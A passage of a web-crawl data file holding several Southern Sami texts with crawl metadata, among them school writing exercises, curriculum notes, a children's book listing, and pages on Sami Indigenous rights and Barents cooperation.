faage-teekste akten aamhtesen, heannadimmien, almetjen jallh fenomenen bïjre. Teeksten aajkoe lea bievnedh jïh tjïelkestidh, digkiedidh jallh analyseradidh.\nAktene faage-teekstesne tjaelije tjuara bagkesidie buerkiestidh, jïh vuesiehtidh guktie ussjedamme. Sïejhme tjaelije tjuara aktem jallh jienebh gaaltijh nuhtjedh, jïh vihkeles gaaltijh reaktoelaakan utnedh jïh neebnedh. Gosse tjaala, dellie tjuara iktegisth tjïelke årrodh, mah åssjaldahkh mah leah tjaelijen jïjtse åssjaldahkh jïh mah åssjaldahkh tjaelije lea veedtjeme mubpiej teekstijste. Skuvle-laavenjassine muvhten aejkien datne bïevnesem åadtjoeh maam gaaltijidie jallh mah gaaltijh edtjh våaroeminie utnedh.\nGosse datne edtjh faage-teekstem skuvlesne tjaeledh dellie vihkele datne dov maahtoem teeman bïjre vuesehth. Dellie edtjh dov maahtoem nuhtjedh gosse teeksth digkedh, åehpiedahtah jallh viertesth. Kaanne laavenjassesne tjaaleme edtjh teemam gaavnedh, vierhkie-vierhtieh viertiestidh ovmessie teekstine guktie filmem jïh diktem, novellam jïh diktem, guvvie-raajroem jïh teekstem. Gosse datne edtjh teeksten bïjre ussjedadtedh dellie vihkele datne dov åssjaldahki bïjre tjaalah. Mujhtieh teekstem eensilaakan bigkedh jïh tjïelke tjaeledh guktie aelhkie datnem guarkedh.\nVihkeles baakoeh\nViertiestidh: dellie edtjh joekehtsh jïh hedtieh vuesiehtidh v.g. göökte teekstine. Mujhtieh teemam, sisvegem, dïjrem jïh hammoem viertiestidh.\nTjïelkestidh: dellie edtjh dov maahtoem teeman bïjre eensilaakan buerkiestidh.\nToelhkestidh: dellie edtjh tjaeledh maam teekste mijjese jeahta. Tjoerh ovmessie biehkieh teeksteste analyseradidh jïh dan mænngan soptsesth mij teeksten teema, sisvege jïh dïjre.\nAnalyseradidh: dellie edtjh ovmessie biehkieh teeksteste lahtestidh jïh lahtesth aaj guktie teekste bigkeme.\nMïelem utnedh: dellie edtjh dov mïelem jïh vuajnoem tjaeledh teeman bïjre.\nÅehpiedehtedh: v.g. edtjh tjaelijen jallh gærjan bïjre tjaeledh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:6b649077-6960-4648-9b35-91654b4b091f\/resource:2af88119-c09d-4a04-95b8-8489ed6dc6ea","date":"2023-09-26T13:16:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510208.72\/warc\/CC-MAIN-20230926111439-20230926141439-00269.warc.gz","language":"sma","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000081062316895}","num_words":238,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (BF jåa1\/jåa2)\nGïele goh nuepie\nGïelen gellie dïrregh, juktie mijjieh maehtebe jiehtedh maam sïjhtebe. Juktie væjkalåbpoe gïeline sjïdtedh, tjoerebe jïjnjem lohkedh, tjaeledh jïh gaskesadtedh.\nGïele-vaarjelimmie\nSaemien-gïele annje håvhtadamme. Guktie maehtebe gïelem vaarjelidh jïh evtiedidh? Maam maehtebe darjodh?\nFaage-gïelh\nGosse mijjieh barkeminie dellie sjiehteles faage-gïelem daarpesjibie guktie edtjebe guarkadidh. Mah baakoeh datne vïenhth daerpies maehtedh?","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:d6234d0f-c1c3-4a86-bb4c-1176c53ee780\/topic:e0205b0d-120d-43c0-a41a-b473ef0e3509\/topic:cd618168-a6c8-4843-96c8-f7defe34512a\/","date":"2023-09-27T14:52:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510300.41\/warc\/CC-MAIN-20230927135227-20230927165227-00133.warc.gz","language":"sma","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000079870224}","num_words":56,"character_repetition_ratio":0.01,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse datne tjaelieminie mujhtieh gïele edtja hijvenlaakan juhtedh. Mujhtieh aaj ellies raajesh bigkedh jïh aellieh fer geerve raajesh bigkh. Gosse aelhkieslaakan tjaalah jïh raajesidie eensilaakan bigkh dellie aelhkie dov teekstem lohkedh jïh guarkedh.\n1. laavenjasse\nVuaresjh daejtie göökte boelhkide. Mij nåake voestes boelhkine jïh mij buerie mubpine boelhkine?\nVuesiehtimmie 1: Buerkiestimmie novelleste\nNovella lea giefies almetji bïjre Oslosne dejpeli, jïh dellie lij sïejhme dan bïjre tjaeledh. Guktie klaerieh nuhtjeme viehkehte, gaajhke kraevies jïh tjeehpes. Goh byjrese jïh guktie almetjh bïhkedamme. Guktie åejvie-almetje noerine barkeme jïh iktesth soevene. Aajmoe ovmurreds sjædta.\nVuesiehtimmie 2: Seamma buerkiestimmie, men tjaelije jeatjah baakoeh nuhtjeme.\nNovella soptseste giefies almetji bïjre Oslosne dejpeli. Joekoen sïejhme tjaelijidie dan bïjre tjaeledh. Teema vååjnesasse båata gosse tjaelije klaeriebaakoeh nuhtjie. Klaerieh goh tjeehpes jïh kraevies gellien aejkien teekstesne nuhtjesovveme, jïh baakoeh, goh mïerhke jïh ovmurreds, aajmoem skaepiedieh. Dovne byjrese-buerkiestimmie jïh buerkiestimmie åejvie-almetjistie viehkiehtieh guktie dïhte ovmurreds aajmoe vååjnesasse båata. Baernie gidtjh iktegisth soevene.\nNuhtjh smaave baakoeh\nGosse edtjh hijvenlaakan tjaeledh dellie vihkeles guktie dov raajesh aelkieh. Gosse datne raajesem tjaaleme jïh punktumem bïejeme, dellie tjoerh mujhtedh dov mubpie raajese edtja logihke aelkedh.\n2. laavenjasse\nBueredh\/staeredh teekstem. Lissehth smaave baakoeh jallh jeatjah baakoeh jis daerpies.\nPiere sov nïejtem Aanna råaki jaepien 2019. Tuhtji Aanna lij faavroes. Piere lyjhki joejkedh. Aanna pop-musihkem lyjhki. Jaepien mænngan gåabpatjahkh lyjhkigan joejkedh. Aanna Pieren gealasadtje sjïdti. Idtji Piere jorkesh. Piere Aannine sleejhti jaepien 2020.\n3. laavenjasse\nBoelhkesne raajesh båajhtede aelkieh. Staeredh jïh jeatjahtehtieh raajesidie juktie dah buerebe juhtieh.\nRusse tïjjen maahta darjodh guktie gellie learohkh demtieh dah ålkoelisnie. Gellie mah gåalmadinie klaassesne vaedtsieh eah lïhke voelph utnieh. Eah åadtjoeh meatan årrodh aktene bussesne, åasa aaj akte fåantoe. Joekoen dovres bussem dåeriedidh. Vuesiehtimmien gaavhtan 20 000 kr duvremes bussen åvteste. Gellie eah dan jïjnje beetnegh utnieh, dah maehtieh ålkoelisnie årrodh abpe russetïjjen.\n4. laavenjasse\nMaam datne jååktan darjoejih? Tjaelieh 8-10 raajesh. Mujhtieh raajesidie ektiedidh juktie gïele hijven jåahta.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nn\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:abc4aa51-8cc3-47a3-902b-f3e10a453fac\/resource:32def326-3dc1-4d3e-940b-af710d4dc324","date":"2023-09-29T23:17:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510529.8\/warc\/CC-MAIN-20230929222230-20230930012230-00897.warc.gz","language":"sma","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000042915344238}","num_words":299,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Eatnemefaagesne dïhte dåaresthfaageles teema demokratije jïh meatanårrojevoete edtja learoehkidie maahtoem vedtedh vitenskapeles daajroen jïh daajroen gaskem joekehtidh, mij ij lea vitenskapeles. Eatnemefaage edtja seamma tïjjen ræhpasvoetem vedtedh dan daajroen bïjre maam saemieh eatnemen bïjre utnieh dååjrehtimmien jïh aerpievuekien tjïrrh. Guarkedh aerpievuekien daajroe aktem jïjtseaarvoem åtna, jïh maahta viehkine årrodh reeremisnie eatnamistie, lea vihkele dovne saemien jïh nöörjen demokratijesne. Maahtoe eatnemefaagesne våaromem vadta guarkedh jïh laejhtehks årrodh argumentasjovnese seabradahkedigkiedimmesne, jïh lea vihkele ihke learohkh edtjieh maehtedh eadtjohke meatanårroejinie årrodh, jïh teknologeles jïh monnehke evtiedimmiem vedtedh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/nat02-04\/om-faget\/tverrfaglige-temaer?lang=sma","date":"2023-10-02T15:59:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511000.99\/warc\/CC-MAIN-20231002132844-20231002162844-00021.warc.gz","language":"sma","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000096559524536}","num_words":84,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Les merShow less\nMadeleine Renhuvud gie gærjam tjaaleme jïh guvviedamme lea Mihten sijtesne byjjenamme. Båatsoejieleme lea iktest stoerre åesie sov jielemisnie orreme jïh skreejrehtimmieh destie veedtjeme. Daelie Madeleine lea ööhpehtæjja guvvie, tekstile jïh åarjelsaemiengïelesne jïh Falunisnie årroeminie.\nSoptsese akten miesien perspektijveste gusnie deahpadimmie aarkebiejjeste lea heamturine båeries saemiej soptsesijstie jïh vaajesijstie, jïh daam pleenteme jïjtse nïekedassine jïh jïjtse dej soptsesh toelhkestamme.\nDaate gærja lea skaehtie dah maanide mah jïjtje maehtieh lohkedh. Gærjesne nïekeds tjïelke guvvieh jïh unnebe maanide aaj daate luste juktie dah guvvieh jïh gïele tjïelke leah.\nUtgitt: 2013\nInnbundet\nSider: 23\nSpråk: Sørsamisk\nISBN: 9788290625653\nForlag: DAT","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.gavpi.org\/for-barn-pa-sorsamisk\/820-miesie-mavve.html","date":"2023-09-24T03:07:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506559.11\/warc\/CC-MAIN-20230924023050-20230924053050-00536.warc.gz","language":"sma","language_score":0.9999961853,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999961853027344}","num_words":96,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.177,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïhkedimmie aalkoealmetjistie\nAkte sïejhme bïhkedimmie aalkoealmetjistie jallh maadthalmetjistie mah maadtoem laantesne utnin, dah laantesne årroejin jallh akte geografijes dajvesne laantesne dennie boelhkesne gosse gyrreldimmie, kolonisasjovne jallh gosse daan beajjetjen staateraasth geesilovvi.\nDïhte mij lea joekehth aalkoealmetjidie dah sijhtieh dej etnihkeles identiteetem, kultuvrem, sosijaale institusjovnide jïh dej jieliemidie båetije boelvide vaarjelidh jïh evtiedidh.\nSaemieh leah dah aajneaalkoealmetjh Europesne. Histovrijeles saemieh lin guhkiem jïh ektenes eatnemem nuhtjeme jïh annje nuhtjeminie. Låångkegh saemieh daam dajvem nuhtjeme, åvtelen nasjonaalestaath tseegkesovvin. Ij leah dan gåvva jiehtedh man guhkiem, muvhth aerviedieh 10 000 jaepieh, mearan muvhth 3000 jaepieh jiehtieh.\nÅålmehreakteles vaarjelimmie\nJaepien 1977 dle Sveerjen rïjhkebiejjie nænnoesti saemieh Sveerjen aalkoealmetjh jïh dej sjïere kultuvreles reaktah Sveerjesne utnieh. (prop 19776\/77:80). Jaepien 2000 Sveerje unnebelåhkoelaakem nænnoestovvi dejtie vïjhte nasjonaale unnebelåhkoegielide, saemieh akte dejstie (prop. 1998\/99:143, SFS 2009:724). 2011 raejeste saemieh aalkoealmetjinie Sveerjen maadthlaakesne nænnoestamme.\nSaemieh aalkoealmetjinie aaj åålmehreaktijes vaarjelimmiem utnieh. Sveerje lea nænnoestovveme saemieh leah dovne åålmege, aalkoealmetjh jïh nasjonaale unnebelåhkoe. Saemieh edtjieh jïjtjereeremem utnedh, daate lea internasjonaale reaktaj mietie juktie lea åålmege jïh aalkoealmetjh. Daate lea aaj lierehtimmesne nænnoestamme, FN:n dåehkeste åålmehreaktide jïh Sveerje lea dam dej reektehtsinie FN:n traktatorgaanese bæjhkoehtamme.\nSaemieh Saepmesne jïh Sveerjesne\nLåångkegh saemieh dajvesne jieleme mij daan biejjien njielje laantine juakasovveme. Daate vijries dajve Kolahalöyeste Russlaantesne, noerhtesåevmesne jïh noerhteNöörjen mïereste- jïh sjisjnjielistie jïh Eajran raajan Sveerjen raedtesne. Daate dïhte Saepmie. Ij leah Saepmie ajve geografijes dajve, menh dam kultuvrem jïh dam gïelem ektede. Saemieh Sveerjen raedtesne nænnoes ektiedimmiem dej dajvigujmie maam lin låångkegh nuhtjeme. Saemiej ïedtje dam jielemem jïh dam etnihkeles identiteetem båetije boelvese vaarjelidh.\nMan gellie saemieh gååvnese?\nIj leah vihties man gallesh mah saemien maadtoem utnieh jïh sijhtieh saemine årrodh. Sveerjesne ibie ryöknh etniske maadtoen mietie, jïh dan gaavhtan ij leah dan gåvva jiehtedh man gellie saemieh daebpene. Saemieh abpe laantesne årroeminie jalhts jeenemes Norrbottenisnie jïh Västerbottenisnie jielieminie. Jaepien 2021 dle 9226 Saemiedigkien gïelelåhkosne jïh luhpiem utnin gïelem Saemiedigkieveeljemisnie vedtedh. Guktie luhpiem dam darjodh dle tjoerh saemie årrodh, saemiengïelem hïejmegieline jallh naan eejtegistie jallh aahka aajjeste gïelem gåetesne soptsestamme. Tjoerh aaj 18 jaepien båeries illeme, otnege Sveerjen staatesne årrodh jallh tjaaleldh Sveerjesne dej golme minngemes jaepieh.\nBåatsoesaemieh\nGallesh saemieh båatsojne veadta. Medtie 2500-3000 saemieh Sveerjen raedtesne båatsoesaemieh jïh destie veasoeh. Jeenjebh, joekoen Norrbottenen leenesne båatsoedajve jïh båatsoesaemieh. Gååvnese medtie 4600 båatsoesaemieh Sveerjesne, daejstie 40 % nyjsenæjjah. Rïjhkebiejjie lea bæjhkoehtamme båatsoe lea vihkeles saemien kultuvresne.\nJeatjah saemien jielemh jïh barkoeh\nJeatjah saemien jielemh lea vijreme, gööleme jïh duedtie ( gïetevætnoeh jïh kåanste). Daan biejjien saemieh aaj jeatjah voenejielieminie gïehtelieh dej noerhtemes dajvine, daamtaj jielemh komponeeredidh, vg. unnebe gaertene jïh stuaragujmie.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sanningskommissionensamer.se\/sma\/aalkoealmetjh-saemiej-bijre\/","date":"2023-10-02T17:16:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511002.91\/warc\/CC-MAIN-20231002164819-20231002194819-00297.warc.gz","language":"sma","language_score":1.0000046492,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000046491622925}","num_words":401,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie laavenjassesne datne edtjh göökte juvre-soptsesh lohkedh «Riepie» jïh «Guktie bïenje viehkine sjïdti».\nLohkh dah göökte soptsesh «Riepie» jïh «Guktie bïenje viehkine sjïdti», gærjeste «Lohkede saemien» (1974\/ 1993), maam Knut Bergsland jïh Ella Holm Bull tjaaleme. Vaestedh gyhtjelasside.\nMan bïjre dah soptsesh, gïeh dejtie soptsestamme jïh man ulmien mietie soptsestamme?\nBuerkesth guktie riepie jïh guktie bïenje. Viertesth dejtie göökte juvride.\nJeatjah juvrh aaj meatan voestes soptsesisnie, mah dah jïh guktie dah?\nGuktie dah soptsesi juvrh «almetjedovveme», guktie dah dåemiedieh almetji vuekiej mietie? (gïelevierhkie-vierhtie: personifikasjovne)\nGellie almetji kultuvrh juvre-soptsesh utnieh. Guktie maehtebe daejredh daah göökte soptsesh leah saemien soptsesh? Buerkesth.\nMaam dah juvre-soptsesh soptsestieh saemien jieleden jïh kultuvren bïjre? Buerkesth åenehkslaakan jïjtjedh baakoejgujmie.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:4157867f-0949-4a10-894b-b6bb69062a3e","date":"2023-09-22T07:16:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00412.warc.gz","language":"sma","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999960660934448}","num_words":110,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Barents-laavenjostoe tseegkesovvi Kirkenes-bæjhkoehtimmien tjïrrh 1993 jïh lea guedtije tsegkie regijonaale laavenjostosne noerhtene. Jaepien 2013 orre Kirkenes-bæjhkoehtimmie nænnoestamme sjïdti. Dïhte maam akt jeahta dan bïjre maam buektiehtamme mænngan lea laavenjosteme 20 jaepieh, jïh orre ulmieh beaja laavenjostose dej båetiji jaepiej.\nBarents-laavenjostoe lea aalkoeåålmegidie jïh regijovnide noerhtene aktem råållam vadteme laavenjostosne Russlaantine. Barents-laavenjostoen tjïrrh lea gellie læhkoes laavenjostoeprosjekth tjïrrehtamme, joekoen kultuvre- jïh jielemebielesne. Barents-laavenjostoe lea viehkiehtamme dam saemien ektievoetedomtesem saemiejgujmie Kola-njaarkesne nænnoestidh.\nBarents-regijovne\nBarents-regijovne mahte govhte millijovnh årrojh åtna jïh lea 1,75 millijovnh kvadraatekilomeeterh stoerre (ånnetji vielie goh vïjhte aejkieh dan stoerre goh Nöörje).\nLuhkiegolme fylhkh jïh jeatjah regijonaale ektievoeth Barents-regijovnesne, jïh leah meatan Regijovneraeresne;\n- Nordlaante, Romsa jïh Finnmarhke Nöörjesne\n- Västerbotten jïh Norrbotten Sveerjesne\n- Lapland, Oulo jïh Kainuu Soemesne\n- Murmansk, Karelen, Arkhangelsk, Komi jïh Nenets Russlaantesne\nBarents-laavenjostoe sjugniehtåvva göökte politihkeles daltesisnie: akte gaskestaateles daltese maam Barents-raerie stuvrie jïh akte gaskeregijonaale daltese maam Regijovneraerie stuvrie. Dïhte aktivyöki barkoe dan gaskestaateles jïh gaskeregijonaale daltesen gaskem lea akte Barents-laavenjostoen sjïere væhtijste jïh vieksiesvoetijste.\nBarents-raerie (Barents Euro-Arctic Council - BEAC)\nBarents-raerie (Barents Euro-Arctic Council - BEAC) lea forume laavenjostose staati gaskem gyhtjelassi bijre mah leah Barents-regijovnen bïjre. Lïhtsegh leah Danmarhke, Soeme, Islaante, Nöörje, Russlaante, Sveerje jïh EU-kommisjovne. Uktsie laanth vïhtesjæjjastatusem utnieh. Åvtehkedåehkie stuvresåvva göökte jaepieh fïereguhten aejkien Soemen, Nöörjen, Russlaanten jïh Sveerjen gaskem.\nAalkoeåålmegi barkoedåehkie (WGIP) lea meatan tjåanghkojne Barents-raeresne, jïh tjåanghkojne embeetemaenniemoenehtsisnie.\nRegijovne-raerie (Barents Regional Council - BRC)\nRegijovne-raerie (Barents Regional Council - BRC) tjirkijh dejstie 13 regijonaale ektievoetijste åtna mah leah Barents-regijovne, jïh tjirkijh dej golme aalkoeåålmegi åvteste regijovnesne, saemieh, nenetserh jïh vepserh. Västerbotten åvtehkedåehkiem åtna 2019-2021.\nAalkoeåålmegi barkoedåehkie (Working Group of Indigenous Peoples - WGIP)\nAalkoeåålmegi Barkoedåehkie (WGIP). Regijovneraerie barkoedåehkiem nammoehti jïh ihkuve dåehkine sïjhti 1995. WGIP raeriestæjjastatusem åtna Regijovneraaran jïh Barents-raaran, jïh dan åvteste sjïere politihkeles statusem åtna dan byjjes struktuvren sisnjelen Barents-laavenjostosne. Saemien Parlamentarihkeles Raerie tjirkijidie nammohte soemen, sveerjen jïh nöörjen bieleste, njieljie jaepieh. Tjirkijh saemiej, nenetseri jïh vepseri åvteste russiske bielesne veeljesuvvieh golme jaepide raeriestimmien mietie jïjtsh organisasjovnijste.\nSaemien parlamentarihkeles raerie 3 ållesth 6 lïhtsegijstie nammohte Aalkoeåålmegi Barkoedåahkan (WGIP). SPR lea daejtie nammoehtamme:\nLars Anders Baer Sveerjen Saemiedigkien åvteste\nAnni Koivisto Soemen Saemiedigkien åvteste\nPiera Heaika Muotka Nöörjen Saemiedigkien åvteste\nDahkoesoejkesje maam Barents aalkoeåålmegekongresse nænnoesti 2015 barkoedåehkien barkoem stuvrie. Barkoedåehkien eadtjohke barkoen tjïrrh dåeriesmoerh, mejtie dagke eah lin sïjhteme digkiedidh jeatjah veajkoej, biejjieöörnegasse bïejesuvvieh. Barkoedåehkien statusen mietie dïhte maahta meatan årrodh tjåanghkojne Barents-raeresne jïh tjåanghkojne embeetemaenniemoenehtsisnie jïh tjåanghkojne Barents regijovneraeresne jïh moenehtsisnie.\nAalkoeåålmegeraeriestæjja Barents-tjaelemesijjesne lea akte ållesth göökte tjaeliejijstie aalkoeåålmegi barkoedåehkesne Barentsisnie, åvtehkinie ektine Barents aalkoeåålmegekontovreste Murmanskesne.\nBarents aalkoeåålmegekontovre (Barents Indigenous Peoples' Office - BIPO)\nBarents aalkoeåålmegekontovre (Barents Indigenous Peoples' Office – BIPO) tseegkesovvi 2003. Nöörjen Saemiedigkie maaksojde maaksa kontovren åvteste jïh Barents-tjaelemesijjie dïedtem åtna reeremen åvteste kontovreste.\nKontovre edtja ektiedimmine årrodh aalkoeåålmegi gaskem Barents-laavenjostosne jïh aalkoeåålmegi jïh jeatjah aktööri gaskem Barents-laavenjostosne, jïh edtja joekoen aalkoeåålmegidie russiske bielesne viehkiehtidh prosjekteohtsemigujmie jïh bïevnesigujmie. BIPO juhti 2007 Murmansken staareste Lovozerose. 2012 kontovre juhti Murmanskese. Tatiana Egorova kontovrem stuvrie.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/gaskenasjonaale-barkoe\/noerhtedajvh\/barents-laavenjostoe\/","date":"2023-10-01T13:22:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510888.64\/warc\/CC-MAIN-20231001105617-20231001135617-00477.warc.gz","language":"sma","language_score":0.9996986389,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9996986389160156}","num_words":456,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fïerhten jaepien Johkemehkien maarhnesne Sáminuorra konsertem öörnie gusnie noerh saemien artisth åadtjoeh meatan årrodh. Daesnie nuepie mij akth sceenesne vuesiehtiedh, artistine evtiesovvedh jïh sijjen såajojde pryövedh. Daesnie Saepmien orre musihkerh jïh scenedorjehtäjja aelkieh. Gaajhkh mah sijhtieh åadtjoeh meatan årrodh, gïehtjh gåessie mijjieh artisth ohtsedeminie jallh mijjen kanslijem gaskesadtedh! Mijjieh aaj viehkiem daarpesjibie öörneginie barkedh.","id":"","dump":"CC-MAIN-2023-40","url":"http:\/\/www.saminuorra.org\/nuoraid-lavdi-2\/","date":"2023-09-23T03:26:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506479.32\/warc\/CC-MAIN-20230923030601-20230923060601-00525.warc.gz","language":"sma","language_score":0.9999947548,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999947547912598}","num_words":54,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Båantah\nÅvteli sïejhmemes barkoe Sveerjesne lij båanta. Båanta jåartam nuhtjie, jïh juvrh eekie, vuesiehtimmieh govsh. Men Orrestaaren tjïeltesne idtji gåessegh ryöhkoeh ajve båanta årrodh. Jis edtji jealajidh tjoeri gellie ovmessie darjomh darjodh. Meehti vijredh, gööledh, muerjieh jïh öörtah skåajjesne tjöönghkedh, moerh tjoehpedh jïh doekedh, sjïere daajhtomem darjodh, åesiestidh jïh jienebh vielie. Dah gaertenh mah ræjhkoes sjïdtin lin dah mah dovne meehtin sjïere barkojne barkedh jïh gamte maahtoem utnin. Båantah aelkiestin dah voestes industrijevoejhkelimmieh tjïeltesne.","id":"","dump":"CC-MAIN-2023-40","url":"http:\/\/nolavonda.se\/sma\/baantah","date":"2023-09-23T08:25:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506480.35\/warc\/CC-MAIN-20230923062631-20230923092631-00721.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":74,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavenjassh portrehte-gihtjedæmman Ole-Henrik Bjørkmo Lifjelline, bijjie-baakojne «From homo to fomo» saemien noere-plaereste Š (2020).\nLohkh portrehte-gihtjedimmiem Ole-Henrik Bjørkmo Lifjelline, bijjie-baakojne «From homo to fomo» saemien noere-plaereste Š (2020). Vaestedh gyhtjelasside.\nGie Ole-Henrik? Tjaelieh\/soptsesth åenehkslaakan gubpede båata jïh mejnie gïehtele?\nGuktie lij sutnjien noere homofijle saemine årrodh?\nMan åvteste dïhte boelhkem leehpi sov saemien identiteetem jïh hïejme-sijjiem?\nGuktie sutnjien bååstede båetedh saemien siebriedahkese?\nDigkedh portrehte-gihtjedimmien bijjie-baakoem «From homo to fomo».\nDatne vïenhth joekehtsh guktie noere almetjh sijjien identiteetem gaevnieh saemien siebriedahkesne jïh daaroen siebriedahkesne? Buerkesth guktie jïh mannasinie.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:dc7b8949-4e26-46e0-9f25-1d05e00b3857","date":"2023-09-22T08:41:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00543.warc.gz","language":"sma","language_score":0.9998336434,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998336434364319}","num_words":85,"character_repetition_ratio":0.092,"word_repetition_ratio":0.053,"special_characters_ratio":0.167,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sjiere reaktah jïh faalenassh gååvnesieh dutnjien mij reaktam åtna lïerehtæmman saemiengïelesne.\n- Trööndelagesne ööhpehtimmie åarjelsaemien gïelesne lea stïeresne Kråangken jåarhkeskuvlesne jïh Rørosen jåarhkeskuvlesne.\n- Dov lea aaj reaktah ööhpehtæmman åarjelsaemien gïelesne dennie skuvlesne datne vaadtsah. Dellie sïjhth daam ööhpehtimmiem åadtjodh goh maajhööhpehtimmie.\n- Lissine datne goh learohke maajhööhpehtimmine sïjhth faalenassem åadtjodh meatan årrodh raajan göökte gaavnedimmine gaajhki saemienlearohkigujmie skuvlejaepesne, aktene dejstie göökte neebneme skuvlijste.\n- Sïejhmemes gaavnedimmieh vaesieh aktem våhkoem. Desnie jeatjah learohkh jeatjah skuvline regijovnesne gaavnedh mah åarjelsaemien lïereminie.\nVelg fylket ditt!\nDisse fylkene har tilleggsinformasjon til dette 